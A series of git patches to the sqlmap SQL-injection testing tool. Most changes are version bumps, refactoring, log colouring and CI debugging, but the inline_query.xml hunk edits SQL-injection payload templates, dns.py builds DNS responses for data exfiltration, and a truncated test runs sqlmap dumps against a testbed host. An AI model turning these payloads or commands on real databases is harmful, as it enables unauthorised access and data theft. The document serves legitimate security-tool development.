00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Feb 2020 14:26:42 +0100 Subject: [PATCH 143/159] Minor 'patch' for #4095 --- lib/core/settings.py | 2 +- sqlmap.py | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 5883e7d7f..074f3961a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.15" +VERSION = "1.4.2.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index a13d01b8d..b321129c0 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -367,6 +367,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif any(_ in excMsg for _ in ("unable to access item 'liveTest'",)): + errMsg = "detected usage of files from different versions of sqlmap" + logger.critical(errMsg) + raise SystemExit + elif kb.get("dumpKeyboardInterrupt"): raise SystemExit From a989e1abfeac5d75955dceef0d2647ff6fc96982 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Feb 2020 22:15:31 +0100 Subject: [PATCH 144/159] Minor refactoring --- lib/core/patch.py | 35 +++++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- lib/core/testing.py | 35 ++--------------------------------- lib/request/dns.py | 22 +++++++++++----------- 4 files changed, 49 insertions(+), 45 deletions(-) diff --git a/lib/core/patch.py b/lib/core/patch.py index 94185d048..432d6a68c 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission """ import codecs +import random import lib.controller.checks import lib.core.common @@ -25,6 +26,7 @@ from lib.core.common import isListLike from lib.core.common import readInput from lib.core.common import shellExec from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.convert import stdoutEncode from lib.core.data import conf from lib.core.option import _setHTTPHandlers @@ -46,6 +48,7 @@ def dirtyPatches(): if six.PY3: if not hasattr(_http_client.HTTPConnection, "__send_output"): _http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output + def _send_output(self, *args, **kwargs): if conf.chunked and "encode_chunked" in kwargs: kwargs["encode_chunked"] = False @@ -100,3 +103,35 @@ def pympTempLeakPatch(tempDir): multiprocessing.util.get_temp_dir = lambda: tempDir except: pass + +def unisonRandom(): + """ + Unifying random generated data across different Python versions + """ + + def _lcg(): + global _rand + a = 1140671485 + c = 128201163 + m = 2 ** 24 + _rand = (a * _rand + c) % m + return _rand + + def _randint(a, b): + _ = a + (_lcg() % (b - a + 1)) + return _ + + def _choice(seq): + return seq[_randint(0, len(seq) - 1)] + + def _sample(population, k): + return [_choice(population) for _ in xrange(k)] + + def _seed(seed): + global _rand + _rand = seed + + random.choice = _choice + random.randint = _randint + random.sample = _sample + random.seed = _seed diff --git a/lib/core/settings.py b/lib/core/settings.py index 074f3961a..78f5f2b77 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.16" +VERSION = "1.4.2.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 3dbec7f5f..0eff43f49 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -33,6 +33,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries +from lib.core.patch import unisonRandom _rand = 0 @@ -201,44 +202,12 @@ def fuzzTest(): count += 1 -def dirtyPatchRandom(): - """ - Unifying random generated data across different Python versions - """ - - def _lcg(): - global _rand - a = 1140671485 - c = 128201163 - m = 2 ** 24 - _rand = (a * _rand + c) % m - return _rand - - def _randint(a, b): - _ = a + (_lcg() % (b - a + 1)) - return _ - - def _choice(seq): - return seq[_randint(0, len(seq) - 1)] - - def _sample(population, k): - return [_choice(population) for _ in xrange(k)] - - def _seed(seed): - global _rand - _rand = seed - - random.choice = _choice - random.randint = _randint - random.sample = _sample - random.seed = _seed - def smokeTest(): """ Runs the basic smoke testing of a program """ - dirtyPatchRandom() + unisonRandom() content = open(paths.ERRORS_XML, "r").read() for regex in re.findall(r'', content): diff --git a/lib/request/dns.py b/lib/request/dns.py index 629f43112..af6244c9e 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -49,16 +49,16 @@ class DNSQuery(object): retVal = b"" if self._query: - retVal += self._raw[:2] # Transaction ID - retVal += b"\x85\x80" # Flags (Standard query response, No error) - retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts - retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query - retVal += b"\xc0\x0c" # Pointer to domain name - retVal += b"\x00\x01" # Type A - retVal += b"\x00\x01" # Class IN - retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) - retVal += b"\x00\x04" # Data length - retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP + retVal += self._raw[:2] # Transaction ID + retVal += b"\x85\x80" # Flags (Standard query response, No error) + retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts + retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query + retVal += b"\xc0\x0c" # Pointer to domain name + retVal += b"\x00\x01" # Type A + retVal += b"\x00\x01" # Class IN + retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) + retVal += b"\x00\x04" # Data length + retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal @@ -114,7 +114,7 @@ class DNSServer(object): with self._lock: for _ in self._requests: - if prefix is None and suffix is None or re.search(b"%s\..+\.%s" % (prefix, suffix), _, re.I): + if prefix is None and suffix is None or re.search(b"%s\\..+\\.%s" % (prefix, suffix), _, re.I): retVal = _ self._requests.remove(_) break From 4fa39f45390a8b555f738f3c7880e500b7c356c3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Feb 2020 22:34:59 +0100 Subject: [PATCH 145/159] Debugging broken Travis --- lib/core/settings.py | 2 +- lib/request/basic.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 78f5f2b77..16ee1327b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.17" +VERSION = "1.4.2.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 09d94d2be..5e20a4129 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -174,7 +174,7 @@ def checkCharEncoding(encoding, warn=True): if encoding: encoding = encoding.lower() else: - return encoding + return "A" # encoding # Reference: http://www.destructor.de/charsets/index.htm translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"} @@ -227,7 +227,7 @@ def checkCharEncoding(encoding, warn=True): if encoding in translate: encoding = translate[encoding] elif encoding in ("null", "{charset}", "charset", "*") or not re.search(r"\w", encoding): - return None + return "B" # None # Reference: http://www.iana.org/assignments/character-sets # Reference: http://docs.python.org/library/codecs.html From 6825bf85a42694791fa5a2a98d908d861a5b5de0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Feb 2020 22:44:37 +0100 Subject: [PATCH 146/159] Debugging broken Travis (2) --- lib/core/settings.py | 2 +- lib/request/basic.py | 13 +++++++++---- 2 files changed, 10 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 16ee1327b..ac038b010 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.18" +VERSION = "1.4.2.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 5e20a4129..15dd04bc2 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -4,6 +4,7 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from __future__ import print_function import codecs import gzip @@ -174,7 +175,7 @@ def checkCharEncoding(encoding, warn=True): if encoding: encoding = encoding.lower() else: - return "A" # encoding + return encoding # Reference: http://www.destructor.de/charsets/index.htm translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"} @@ -227,7 +228,7 @@ def checkCharEncoding(encoding, warn=True): if encoding in translate: encoding = translate[encoding] elif encoding in ("null", "{charset}", "charset", "*") or not re.search(r"\w", encoding): - return "B" # None + return None # Reference: http://www.iana.org/assignments/character-sets # Reference: http://docs.python.org/library/codecs.html @@ -238,8 +239,12 @@ def checkCharEncoding(encoding, warn=True): if encoding: try: - six.text_type(getBytes(randomStr()), encoding) - except: + _ = getBytes(randomStr()) + print(repr(_)) + print(encoding) + six.text_type(_, encoding) + except Exception as ex: + print(getSafeExString(ex)) if warn: warnMsg = "invalid web page charset '%s'" % encoding singleTimeLogMessage(warnMsg, logging.WARN, encoding) From 19e08416b58c4a4e883d880c0fe87f6718d52f00 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Feb 2020 22:52:45 +0100 Subject: [PATCH 147/159] Should fix broken Travis --- lib/core/patch.py | 2 ++ lib/core/settings.py | 2 +- lib/core/testing.py | 4 ---- lib/request/basic.py | 9 ++------- 4 files changed, 5 insertions(+), 12 deletions(-) diff --git a/lib/core/patch.py b/lib/core/patch.py index 432d6a68c..b23651b57 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -36,6 +36,8 @@ from lib.request.templates import getPageTemplate from thirdparty import six from thirdparty.six.moves import http_client as _http_client +_rand = 0 + def dirtyPatches(): """ Place for "dirty" Python related patches diff --git a/lib/core/settings.py b/lib/core/settings.py index ac038b010..124ba2a21 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.19" +VERSION = "1.4.2.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 0eff43f49..d703d0f59 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -5,8 +5,6 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from __future__ import division - import doctest import logging import os @@ -35,8 +33,6 @@ from lib.core.data import paths from lib.core.data import queries from lib.core.patch import unisonRandom -_rand = 0 - def vulnTest(): """ Runs the testing against 'vulnserver' diff --git a/lib/request/basic.py b/lib/request/basic.py index 15dd04bc2..09d94d2be 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -4,7 +4,6 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from __future__ import print_function import codecs import gzip @@ -239,12 +238,8 @@ def checkCharEncoding(encoding, warn=True): if encoding: try: - _ = getBytes(randomStr()) - print(repr(_)) - print(encoding) - six.text_type(_, encoding) - except Exception as ex: - print(getSafeExString(ex)) + six.text_type(getBytes(randomStr()), encoding) + except: if warn: warnMsg = "invalid web page charset '%s'" % encoding singleTimeLogMessage(warnMsg, logging.WARN, encoding) From ec80009812787dfb9a497cc3848e2633a1b0455a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Feb 2020 00:06:09 +0100 Subject: [PATCH 148/159] Minor refactoring --- lib/core/log.py | 74 ++++++++++++++++++++++++++++++++- lib/core/settings.py | 2 +- thirdparty/ansistrm/ansistrm.py | 56 +++---------------------- 3 files changed, 80 insertions(+), 52 deletions(-) diff --git a/lib/core/log.py b/lib/core/log.py index 3ab750e1e..c5e82cf3b 100644 --- a/lib/core/log.py +++ b/lib/core/log.py @@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission """ import logging +import re import sys from lib.core.enums import CUSTOM_LOGGING @@ -20,6 +21,77 @@ LOGGER_HANDLER = None try: from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler + class _ColorizingStreamHandler(ColorizingStreamHandler): + def colorize(self, message, levelno): + if levelno in self.level_map and self.is_tty: + bg, fg, bold = self.level_map[levelno] + params = [] + + if bg in self.color_map: + params.append(str(self.color_map[bg] + 40)) + + if fg in self.color_map: + params.append(str(self.color_map[fg] + 30)) + + if bold: + params.append('1') + + if params and message: + match = re.search(r"\A(\s+)", message) + prefix = match.group(1) if match else "" + message = message[len(prefix):] + + match = re.search(r"\[([A-Z ]+)\]", message) # log level + if match: + level = match.group(1) + if message.startswith(self.bold): + message = message.replace(self.bold, "") + reset = self.reset + self.bold + params.append('1') + else: + reset = self.reset + message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1) + + match = re.search(r"\A\s*\[([\d:]+)\]", message) # time + if match: + time = match.group(1) + message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1) + + match = re.search(r"\[(#\d+)\]", message) # counter + if match: + counter = match.group(1) + message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1) + + if level != "PAYLOAD": + if any(_ in message for _ in ("parsed DBMS error message",)): + match = re.search(r": '(.+)'", message) + if match: + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + match = re.search(r"\bresumed: '(.+\.\.\.)", message) + if match: + string = match.group(1) + message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + match = re.search(r" \('(.+)'\)\Z", message) + if match: + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) + + if prefix: + message = "%s%s" % (prefix, message) + + message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch + + return message + disableColor = False for argument in sys.argv: @@ -30,7 +102,7 @@ try: if disableColor: LOGGER_HANDLER = logging.StreamHandler(sys.stdout) else: - LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout) + LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout) LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False) diff --git a/lib/core/settings.py b/lib/core/settings.py index 124ba2a21..3dd0c4803 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.20" +VERSION = "1.4.2.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py index 67efbf178..9b45c4e12 100644 --- a/thirdparty/ansistrm/ansistrm.py +++ b/thirdparty/ansistrm/ansistrm.py @@ -156,58 +156,14 @@ class ColorizingStreamHandler(logging.StreamHandler): params.append('1') if params and message: - match = re.search(r"\A(\s+)", message) - prefix = match.group(1) if match else "" - message = message[len(prefix):] - - match = re.search(r"\[([A-Z ]+)\]", message) # log level - if match: - level = match.group(1) - if message.startswith(self.bold): - message = message.replace(self.bold, "") - reset = self.reset + self.bold - params.append('1') - else: - reset = self.reset - message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1) - - match = re.search(r"\A\s*\[([\d:]+)\]", message) # time - if match: - time = match.group(1) - message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1) - - match = re.search(r"\[(#\d+)\]", message) # counter - if match: - counter = match.group(1) - message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1) - - if level != "PAYLOAD": - if any(_ in message for _ in ("parsed DBMS error message",)): - match = re.search(r": '(.+)'", message) - if match: - string = match.group(1) - message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) - else: - match = re.search(r"\bresumed: '(.+\.\.\.)", message) - if match: - string = match.group(1) - message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) - else: - match = re.search(r" \('(.+)'\)\Z", message) - if match: - string = match.group(1) - message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) - else: - for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted - string = match.group(1) - message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + if message.lstrip() != message: + prefix = re.search(r"\s+", message).group(0) + message = message[len(prefix):] else: - message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) + prefix = "" - if prefix: - message = "%s%s" % (prefix, message) - - message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch + message = "%s%s" % (prefix, ''.join((self.csi, ';'.join(params), + 'm', message, self.reset))) return message From a0b279848d0ef550a5760df904f6a65a62d32215 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Feb 2020 00:30:02 +0100 Subject: [PATCH 149/159] Trivial update --- lib/core/common.py | 4 ++++ lib/core/settings.py | 2 +- thirdparty/termcolor/termcolor.py | 3 +++ 3 files changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index e498e5d8a..133db9993 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -944,6 +944,10 @@ def setColor(message, color=None, bold=False, level=None, istty=None): except: level = None retVal = LOGGER_HANDLER.colorize(message, level) + else: + match = re.search(r"\(([^)]*)\s*fork\)", message) + if match: + retVal = retVal.replace(match.group(1), colored(match.group(1), color="lightgrey")) return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 3dd0c4803..d345b9d6c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.21" +VERSION = "1.4.2.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/termcolor/termcolor.py b/thirdparty/termcolor/termcolor.py index bac57f28a..ddea6dd59 100644 --- a/thirdparty/termcolor/termcolor.py +++ b/thirdparty/termcolor/termcolor.py @@ -81,6 +81,9 @@ COLORS = dict( COLORS.update(dict(("light%s" % color, COLORS[color] + 60) for color in COLORS)) +# Reference: https://misc.flogisoft.com/bash/tip_colors_and_formatting +COLORS["lightgrey"] = 37 +COLORS["darkgrey"] = 90 RESET = '\033[0m' From f19f38d1d59b4678b9adc4b340231b765bb797d3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Feb 2020 10:12:33 +0100 Subject: [PATCH 150/159] Fixes #4102 --- lib/core/settings.py | 2 +- lib/request/connect.py | 7 +++---- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d345b9d6c..0aecc472c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.22" +VERSION = "1.4.2.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index a5eff1103..7b93a8705 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -584,15 +584,14 @@ class Connect(object): refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page) if refresh: - debugMsg = "got Javascript redirect request" + debugMsg = "got Javascript redirect logic" logger.debug(debugMsg) if refresh: if kb.alwaysRefresh is None: - msg = "got a refresh request " + msg = "got a refresh intent " msg += "(redirect like response common to login pages) to '%s'. " % refresh - msg += "Do you want to apply the refresh " - msg += "from now on (or stay on the original page)? [Y/n]" + msg += "Do you want to apply it from now on? [Y/n]" kb.alwaysRefresh = readInput(msg, default='Y', boolean=True) From 6467c63c243d108502a775c273708ba494328bdb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Feb 2020 14:02:45 +0100 Subject: [PATCH 151/159] Patch for couple of bugs found during bed-testing --- data/xml/payloads/inline_query.xml | 34 ++++++++++++++-------- data/xml/queries.xml | 12 ++++---- lib/core/agent.py | 2 +- lib/core/dicts.py | 24 ++++++++++++++++ lib/core/settings.py | 2 +- lib/core/testing.py | 45 ++++++++++++++++++++++++++++++ lib/parse/cmdline.py | 5 +++- lib/request/inject.py | 6 ++++ plugins/generic/databases.py | 3 ++ sqlmap.py | 3 ++ 10 files changed, 116 insertions(+), 20 deletions(-) diff --git a/data/xml/payloads/inline_query.xml b/data/xml/payloads/inline_query.xml index 4d09edb5d..b68cfdc3e 100644 --- a/data/xml/payloads/inline_query.xml +++ b/data/xml/payloads/inline_query.xml @@ -3,19 +3,31 @@ - MySQL inline queries + Generic inline queries 3 1 1 1,2,3,8 3 + (SELECT CONCAT(CONCAT('[DELIMITER_START]',([QUERY])),'[DELIMITER_STOP]')) + + (SELECT CONCAT(CONCAT('[DELIMITER_START]',(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + + + + + MySQL inline queries + 3 + 2 + 1 + 1,2,3,8 + 3 (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - - (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + (SELECT CONCAT('[DELIMITER_START]',(ELT([RANDNUM]=[RANDNUM],1)),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -28,7 +40,7 @@ PostgreSQL inline queries 3 - 1 + 2 1 1,2,3,8 3 @@ -47,13 +59,13 @@ Microsoft SQL Server/Sybase inline queries 3 - 1 + 2 1 1,2,3,8 3 (SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]') - (SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]') + (SELECT '[DELIMITER_START]'+(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)+'[DELIMITER_STOP]') [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -75,7 +87,7 @@ (SELECT ('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') FROM DUAL) - (SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END) FROM DUAL)||'[DELIMITER_STOP]' FROM DUAL) + (SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN TO_NUMBER(1) ELSE TO_NUMBER(0) END)||'[DELIMITER_STOP]' FROM DUAL) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -94,7 +106,7 @@ 3 SELECT '[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' - SELECT '[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))||'[DELIMITER_STOP]' + SELECT '[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 6939666a7..f5e28b537 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -106,7 +106,7 @@ - + @@ -123,23 +123,23 @@ - + - + - + - - + + diff --git a/lib/core/agent.py b/lib/core/agent.py index c4b3cd842..65ff4a421 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -450,7 +450,7 @@ class Agent(object): nulledCastedField = field - if field: + if field and Backend.getIdentifiedDbms(): rootQuery = queries[Backend.getIdentifiedDbms()] if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast: diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 875698d2d..57c6b9bca 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -117,6 +117,30 @@ SYBASE_TYPES = { 20: "image", } +ALTIBASE_TYPES = { + 1: "CHAR", + 12: "VARCHAR", + -8: "NCHAR", + -9: "NVARCHAR", + 2: "NUMERIC", + 2: "DECIMAL", + 6: "FLOAT", + 6: "NUMBER", + 8: "DOUBLE", + 7: "REAL", + -5: "BIGINT", + 4: "INTEGER", + 5: "SMALLINT", + 9: "DATE", + 30: "BLOB", + 40: "CLOB", + 20001: "BYTE", + 20002: "NIBBLE", + -7: "BIT", + -100: "VARBIT", + 10003: "GEOMETRY", +} + MYSQL_PRIVS = { 1: "select_priv", 2: "insert_priv", diff --git a/lib/core/settings.py b/lib/core/settings.py index 0aecc472c..01a51bcee 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.2.23" +VERSION = "1.4.2.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index d703d0f59..54903ae16 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -137,6 +137,51 @@ def vulnTest(): return retVal +def bedTest(): + """ + Runs the testing against 'testbed' + """ + + TESTS = ( + ("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 -v 3 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", 